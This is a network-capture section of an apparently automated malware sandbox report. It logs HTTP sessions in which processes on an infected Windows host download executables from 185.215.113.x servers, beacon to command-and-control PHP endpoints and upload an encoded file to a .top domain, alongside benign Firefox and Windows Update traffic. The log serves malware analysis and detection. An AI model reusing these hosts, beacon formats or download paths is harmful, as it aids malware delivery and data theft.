Nov 23, 2024 11:23:10.673994064 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:23:10 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 23, 2024 11:23:11.427041054 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 11:23:11.880841970 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:23:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 23, 2024 11:23:12.841653109 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEHJJECAEGCAAAAEGIE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 11:23:13.797774076 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:23:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49908	185.215.113.16	80	6244	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:53.029778004 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 11:22:54.326278925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:54 GMT Content-Type: application/octet-stream Content-Length: 2833408 Last-Modified: Sat, 23 Nov 2024 10:18:06 GMT Connection: keep-alive ETag: "6741abde-2b3c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 69 69 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +ii+`Ui` @ @.rsrc`2@.idata 8@icbwwxfp**:@jtrkmseq ++@.taggant@+"+@
Nov 23, 2024 11:22:54.326309919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:54.326325893 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:54.326386929 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:54.326404095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:54.326419115 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:54.326435089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:54.326457977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 11:22:54.326478958 CET	1236	IN	Data Raw: 01 76 65 1d c2 c8 75 fd 3d d1 95 0c 96 d8 ac 95 39 bf d1 74 13 fd 04 f9 fb 22 f0 25 81 9d 03 51 f9 4e be 6b 1e e9 82 e2 09 99 ca 71 71 b5 34 bd e3 c0 f2 53 4b 47 8b ea 39 5e 5c ac fe 7c 88 b4 3b eb 4e 37 70 3f f2 1d 7b cf 89 43 d7 a1 5f 71 4c 8d Data Ascii: veu=9t"%QNkqq4SKG9^\\|;N7p?{C_qL{y8~skY\JND3qows4xE+v8%{Z~H[71]"H{[4O~p?dtnavmzLv?qM"bhBe5=\|k
Nov 23, 2024 11:22:54.326494932 CET	1236	IN	Data Raw: 80 62 a3 d9 83 8e 5f 63 b9 d2 d1 2b 7f af 70 aa 12 5b 97 cb bf 8d ec eb 2f 40 7b 96 e2 8e 36 73 b9 d6 7b b1 cb 90 15 71 31 89 08 b2 7a 82 52 a6 ff 99 c6 b7 f5 ef b0 59 7f 1f 89 45 88 32 f7 af 81 24 87 06 c3 b7 9b b2 05 cb cd 13 5c 2f 34 06 42 1c Data Ascii: b_c+p[/@{6s{q1zRYE2$\/4B%!/)7jQFbtQodMtev&Af%TXSx/cGv9(,}vEJ}?G,vwC}MetnI
Nov 23, 2024 11:22:54.448105097 CET	668	IN	Data Raw: 77 9a be f5 4d 90 f3 6f 7c 1c 3e b1 46 91 4e b9 61 d0 03 20 5b c6 74 92 17 36 11 7f 85 6e f2 3c b7 5d 2f 8d 3d 48 f9 a9 40 69 04 b9 37 98 cf d8 67 5a 0b ac 2d 82 2f bd c2 0a 76 12 bf 79 08 9c 1c a3 8a e1 62 c5 00 c8 cc 5f 8f cc 2b d9 83 d9 69 66 Data Ascii: wMo\|>FNa [t6n<]/=H@i7gZ-/vyb_+ifPDwx;&)>WP,bA=s!RhZp}D)TTO,i/\If$9<xNw`5nj#9F~fwyh%5&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49916	185.215.113.43	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:54.866574049 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008414001&unit=246122658369
Nov 23, 2024 11:22:56.244705915 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49925	34.107.221.82	80	6200	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:57.308262110 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 11:22:58.393873930 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 22 Nov 2024 13:59:07 GMT Age: 73431 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 11:23:08.535778046 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49928	185.215.113.43	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:22:57.975446939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 11:22:59.363409996 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:22:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49937	185.215.113.43	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:23:01.021855116 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 34 32 41 37 30 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B42A70B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 11:23:02.358537912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:23:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49949	185.215.113.43	80	4192	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:23:04.177319050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 11:23:05.505743027 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:23:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49957	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:23:07.147022963 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 34 32 41 37 30 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B42A70B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 11:23:08.584755898 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:23:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49967	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:23:10.414047956 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 11:23:11.771691084 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 10:23:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	50004	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 11:23:19.039135933 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 23148 Content-Type: multipart/form-data; boundary=------------------------JNprR3xICfYm3sw5Z5j6gK Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4a 4e 70 72 52 33 78 49 43 66 59 6d 33 73 77 35 5a 35 6a 36 67 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 75 63 65 68 61 6a 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 91 92 ba 06 b2 ef 97 54 ec dd b0 56 aa 73 88 e8 56 a8 e7 44 55 ee 2b 24 d6 a4 7a 5d 13 a0 64 20 df a4 2f d1 f8 9b b8 b7 0a b8 ca 43 54 ce 83 e6 f6 3c d0 e0 71 6e 13 2f 5e 60 1c 01 b5 2c 64 7b 96 39 cc fc fb 77 42 30 bb 8b 22 53 05 af 1e ea 1a 23 99 bc f8 a4 ff 86 bc 7c 63 44 bb 68 8d c3 a3 3c 42 ee 86 a9 c0 90 ed 34 e6 55 ce 9e 19 e8 23 c7 28 e9 8e e6 e6 d1 d0 6a 75 82 a9 ed ab 0f 5b 02 94 59 91 cf 27 b4 88 d6 d2 95 b7 8a af 04 ed 2b a1 d4 3b 66 8b 83 3b 4a 70 0c 57 5c 2e 55 89 50 81 6f 0b 83 f6 6a 60 7c 49 0a 0b 08 ee 20 [TRUNCATED] Data Ascii: --------------------------JNprR3xICfYm3sw5Z5j6gKContent-Disposition: form-data; name="file"; filename="Gucehaje.bin"Content-Type: application/octet-streamTVsVDU+$z]d /CT<qn/^`,d{9wB0"S#\|cDh<B4U#(ju[Y'+;f;JpW\.UPoj`\|I Up;qOhrE,-B;3H(32[i5\zqY~-\|n)')ZEPd5~!2qok6uw2t})xDf9s>>pX3J]+%,rB4&B+xK~PcPy2">4)eA<:cIRh(Wcr[_dpa:}$jMfSROYp#_?XNAO;7.OC"tup@M5L0F&6RYIDv9n)zq\|3G[SZkE=Hn0YQzA)S!&8As&zg9LapL rfA)[:>fF:MfO8Dz:<t'!\ =ui[5-[Tpa\|p?Pi;J5Jos<Ey4a_Blvd.@3Ugb6 Fu PQdyq [TRUNCATED]
Nov 23, 2024 11:23:19.159800053 CET	7416	OUT	Data Raw: 36 73 3b 01 af 91 42 cd 0c 5e 99 c6 e1 08 7c b7 77 b3 10 8d a2 0d 96 c4 b8 37 d9 68 ad 53 58 56 07 16 e8 60 5d 3b 04 ee 4a 00 b7 2d 4b 8b 8f 6d 7b 61 9a 0b 8f 49 5e bb 7c 9d f0 39 d0 28 49 c0 36 ad 06 87 58 05 8e 71 b3 c2 42 53 c4 83 97 2a c2 52 Data Ascii: 6s;B^\|w7hSXV`];J-Km{aI^\|9(I6XqBSRv9qo=^21F`+MK(4=+0RA'd!KZ(!v{B~^D`rsiS~~;16zefDq3)hgGei,Cp=+)@+7OiV
Nov 23, 2024 11:23:19.159904003 CET	2472	OUT	Data Raw: fd 09 42 9d bc 46 06 18 71 4f 9a cd 4f 99 3a 04 19 2c 6e 16 b4 f7 aa 41 21 28 72 3e 1c 09 92 a4 33 6d b4 6b 11 0c 99 10 de 70 4d bc fb 81 4c 52 4a 81 be fa a5 b3 14 a0 e7 2d f5 45 2a ed 04 a6 34 e3 b5 87 a9 c5 4b 5d 18 b4 94 16 7e 94 f6 6f 54 e0 Data Ascii: BFqOO:,nA!(r>3mkpMLRJ-E4K]~oT6]U5D5+oX\\TM4q>xKXg\|Hs>%6Jg/ZEUvu~b@X}A}0?Hf\*lXA3fAx [b,kTF.F'sUEi7)x
Nov 23, 2024 11:23:19.160031080 CET	1081	OUT	Data Raw: 9a 59 cd ba 3c 05 6a 7a 11 32 3b 8a 52 2e 6f 10 db 8f 37 c2 21 98 8d 62 d6 02 a0 58 6b 34 f2 fe 54 17 8e 13 96 6a 3f d6 59 c1 43 4c 24 18 72 87 f9 89 9f 55 f7 8b 86 fd 7f 88 7c dc 0d 94 c0 e8 74 ad 89 97 a7 6e ca 6f 2e 65 38 e9 64 0a 3c 7b 2f cb Data Ascii: Y<jz2;R.o7!bXk4Tj?YCL$rU\|tno.e8d<{/}I%)6\|zeKcRm/ fo4(D0;xh~k!:'G_XEA;s%}l8G90^80oA!p6o.S6aCTgb
Nov 23, 2024 11:23:20.655100107 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 10:23:20 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:21:21 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=u9zS8ZvMfDAPD9P&MD=8g8SzMP5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 10:21:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e40e85e6-372a-4972-a622-2d6d604da6eb MS-RequestId: 65b1c5a7-5ccb-4277-bb62-8847f9a81d06 MS-CV: sfyDjXroa0ulaD3T.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 10:21:20 GMT Connection: close Content-Length: 24490
2024-11-23 10:21:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 10:21:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
